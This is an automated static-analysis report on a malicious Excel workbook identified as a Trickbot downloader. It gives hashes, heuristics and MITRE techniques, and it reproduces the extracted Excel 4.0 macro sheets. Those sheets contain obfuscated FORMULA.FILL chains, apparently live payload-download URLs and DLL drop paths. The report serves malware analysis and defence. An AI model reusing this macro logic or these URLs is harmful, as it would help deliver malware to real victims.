Trickbot — Office (OOXML) malware analysis

Static analysis result for SHA-256 8ed15d988b7a7d7b…

MALICIOUS

Office (OOXML)

91.0 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-06-28
MD5: d2dd8d20451925aa677f6fb5035f1283 SHA-1: fb67d7b5599afe400315802bb2337c54123257b7 SHA-256: 8ed15d988b7a7d7b7042e79e956f5b78815cb93daf6c3db6d84f28f9c4bdb44b
250 Risk Score

Malware Insights

Trickbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV as Trickbot, a known downloader. Critical heuristics indicate the presence of Excel 4.0 macros utilizing dangerous functions like FORMULA.FILL and CALL, which are commonly used to download and execute second-stage payloads. The macros likely construct URLs pointing to the provided suspicious domains to fetch the malicious content.

Heuristics 6

  • ClamAV: Xls.Downloader.Trickbot07210-9880007-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Trickbot07210-9880007-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 5 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://senderoalcielo.com/0wq1jKHt/leef.html In document text (OOXML body / shared strings)
    • https://theottomandoner.com/gYiFGeXMa9/leef.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1701 bytes
SHA-256: 941b553d7b521116b5a6f09a03df21484f96c0030243596ceb3d3b6214233744
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AG3:AG6"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="32" max="32" width="4.28515625" customWidth="1"/><col min="33" max="33" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="3" spans="33:33" x14ac:dyDescent="0.25"><c r="AG3" s="2" t="b"><f>FORMULA.FILL(Sheet1!AR113&amp;Sheet1!AR114&amp;Sheet1!AR115,Sheet1!AQ150)</f><v>1</v></c></row><row r="6" spans="33:33" x14ac:dyDescent="0.25"><c r="AG6" s="1" t="b"><f>FORMULA.FILL(Sheet1!AR122&amp;Sheet1!AR123&amp;Sheet1!AR136&amp;Sheet1!AQ148&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ149&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ150&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ108&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ105&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR139,Sheet1!AO148)=Sheet4!AI4()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 10855 bytes
SHA-256: 0af162cfd2cf697bec00cde63863d4b01aafa107e3a054e2100968739a5e9167
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO103:AS161"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="40" max="40" width="4.140625" customWidth="1"/><col min="41" max="45" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="103" spans="41:45" x14ac:dyDescent="0.25"><c r="AO103" s="1"/><c r="AP103" s="1"/><c r="AQ103" s="1"/><c r="AR103" s="1"/><c r="AS103" s="1"/></row><row r="104" spans="41:45" x14ac:dyDescent="0.25"><c r="AO104" s="1"/><c r="AP104" s="1"/><c r="AQ104" s="1"/><c r="AR104" s="1"/><c r="AS104" s="1"/></row><row r="105" spans="41:45" x14ac:dyDescent="0.25"><c r="AO105" s="1"/><c r="AP105" s="1"/><c r="AQ105" t="str"><f>"..\wail1.dll"</f><v>..\wail1.dll</v></c><c r="AR105" s="1"/><c r="AS105" s="1"/></row><row r="106" spans="41:45" x14ac:dyDescent="0.25"><c r="AO106" s="1"/><c r="AP106" s="1"/><c r="AQ106" s="1" t="str"><f>"..\wail2.dll"</f><v>..\wail2.dll</v></c><c r="AR106" s="1"/><c r="AS106" s="1"/></row><row r="107" spans="41:45" x14ac:dyDescent="0.25"><c r="AO107" s="1"/><c r="AP107" s="1"/><c r="AQ107" s="1"/><c r="AR107" s="1"/><c r="AS107" s="2"/></row><row r="108" spans="41:45" x14ac:dyDescent="0.25"><c r="AO108" s="1"/><c r="AP108" s="1"/><c r="AQ108" s="1" t="str"><f>"https://senderoalcielo.com/0wq1jKHt/leef.html"</f><v>https://senderoalcielo.com/0wq1jKHt/leef.html</v></c><c r="AR108" s="1"/><c r="AS108" s="1"/></row><row r="109" spans="41:45" x14ac:dyDescent="0.25"><c r="AO109" s="1"/><c r="AP109" s="1"/><c r="AQ109" s="1" t="str"><f>"https://theottomandoner.com/gYiFGeXMa9/leef.html"</f><v>https://theottomandoner.com/gYiFGeXMa9/leef.html</v></c><c r="AR109" s="1"/><c r="AS109" s="1"/></row><row r="110" spans="41:45" x14ac:dyDescent="0.25"><c r="AO110" s="1"/><c r="AP110" s="1"/><c r="AQ110" s="1"/><c r="AR110" s="1"/><c r="AS110" s="1"/></row><row r="111" spans="41:45" x14ac:dyDescent="0.25"><c r="AO111" s="1"/><c r="AP111" s="1"/><c r="AQ111" s="1"/><c r="AR111" s="1"/><c r="AS111" s="1"/></row><row r="112" spans="41:45" x14ac:dyDescent="0.25"><c r="AP112" s="1"/><c r="AQ112" s="1"/><c r="AR112" s="1"/><c r="AS112" s="1"/></row><row r="113" spans="41:45" x14ac:dyDescent="0.25"><c r="AP113" s="1"/><c r="AQ113" s="2"/><c r="AR113" s="2" t="s"><v>0</v></c><c r="AS113" s="1"/></row><row r="114" spans="41:45" x14ac:dyDescent="0.25"><c r="AP114" s="1"/><c r="AQ114" s="2" t="s"><v>1</v></c><c r="AR114" s="2" t="s"><v>2</v></c><c r="AS114" s="1"/></row><row r="115" spans="41:45" x14ac:dyDescent="0.25"><c r="AO115" s="1"/><c r="AP115" s="1"/><c r="AQ115" s="2" t="s"><v>3</v></c><c r="AR115" s="2" t="s"><v>4</v></c><c r="AS115" s="1"/></row><row r="116" spans="41:45" x14ac:dyDescent="0.25"><c r="AO116" s="1"/><c r="AP116" s="1"/><c r="AQ116" s="2" t="s"><v>5</v></c><c r="AR116" s="2"/><c r="AS116" s="1"/></row><row r="117" spans="41:45" x14ac:dyDescent="0.25"><c r="AO117" s="1"/><c r="AP117" s="1"/><c r="AQ117" s="2" t="s"><v>6</v></c><c r="AR117" s="2"/><c r="AS117" s="1"/></row><row r="118" spans="41:45" x14ac:dyDescent="0.25"><c r="AO118" s="1"/><c r="AP118" s="1"/><c r="AQ118" s="2" t="str"><f>RIGHT("rsthYFGIPUYiugeA",2)</f><v>eA</v></c><c r="AR118" s="2"/><c r="AS118" s="1"/></row><row r="119" spans="41:45" x14ac:dyDescent="0.25"><c r="AO119" s="1"/><c r="AP119" s="1"/><c r="AQ119" s="1"/><c r="AR119" s="1"/><c r="AS119" s="1"/></row><row r="120" spans="41:45" x14ac:dyDescent="0.25"><c r="AP120" s="1"/><c r="AQ120" s="1"/><c r="AR120" s="1"/><c r="AS120" s="1"/></row><row r="121" spans="41:45" x14ac:dyDescent="0.25
... (truncated)
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1504 bytes
SHA-256: 5fddc94a87bb4a481bf747d7b65cb11239b097bcf22ec69b957b1e8329f6a45d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AI6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="34" max="34" width="4.140625" customWidth="1"/><col min="35" max="35" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="35:35" x14ac:dyDescent="0.25"><c r="AI6" s="1" t="b"><f>FORMULA.FILL(Sheet1!AR122&amp;Sheet1!AR123&amp;Sheet1!AR136&amp;Sheet1!AQ148&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ149&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ150&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ109&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ106&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR139,Sheet1!AO149)=Sheet5!AM2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1158 bytes
SHA-256: d4c18034a4ff9f5f250ecb125bc64ceb7910b362fb352666f038ebcab7f83aea
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AM4"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="38" max="38" width="4.28515625" customWidth="1"/><col min="39" max="39" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="39:39" x14ac:dyDescent="0.25"><c r="AM4" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ136&amp;Sheet1!AQ137&amp;Sheet1!AQ138&amp;Sheet1!AQ139&amp;Sheet1!AQ140&amp;Sheet1!AQ141&amp;Sheet1!AQ142&amp;"2 ",Sheet1!AQ154)=Sheet7!AR6()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1294 bytes
SHA-256: 0b9fb82ab257e52f23f7be68bd5a833a97a60586cafa1440a947926f41d88782
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ10:AJ11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="35" max="35" width="4.28515625" customWidth="1"/><col min="36" max="36" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="10" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ10" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ130&amp;Sheet1!AQ131&amp;Sheet1!AQ132,Sheet1!AQ148)</f><v>1</v></c></row><row r="11" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ11" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ114&amp;Sheet1!AQ115&amp;Sheet1!AQ116&amp;Sheet1!AQ117&amp;Sheet1!AQ118,Sheet1!AQ149)=Sheet2!AG2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1170 bytes
SHA-256: 4eefa0a1e9c7a5ff09dad44d058d909865c24428eeddd6a2b68da7ddc2861960
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AR6:AR7"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="43" max="43" width="4.28515625" customWidth="1"/><col min="44" max="44" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="44:44" x14ac:dyDescent="0.25"><c r="AR6" s="1"/></row><row r="7" spans="44:44" x14ac:dyDescent="0.25"><c r="AR7" t="b"><f>FORMULA.FILL(Sheet1!AS135&amp;Sheet1!AS136&amp;Sheet1!AS137&amp;Sheet1!AS138,Sheet1!AQ151)=Sheet1!AO131()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>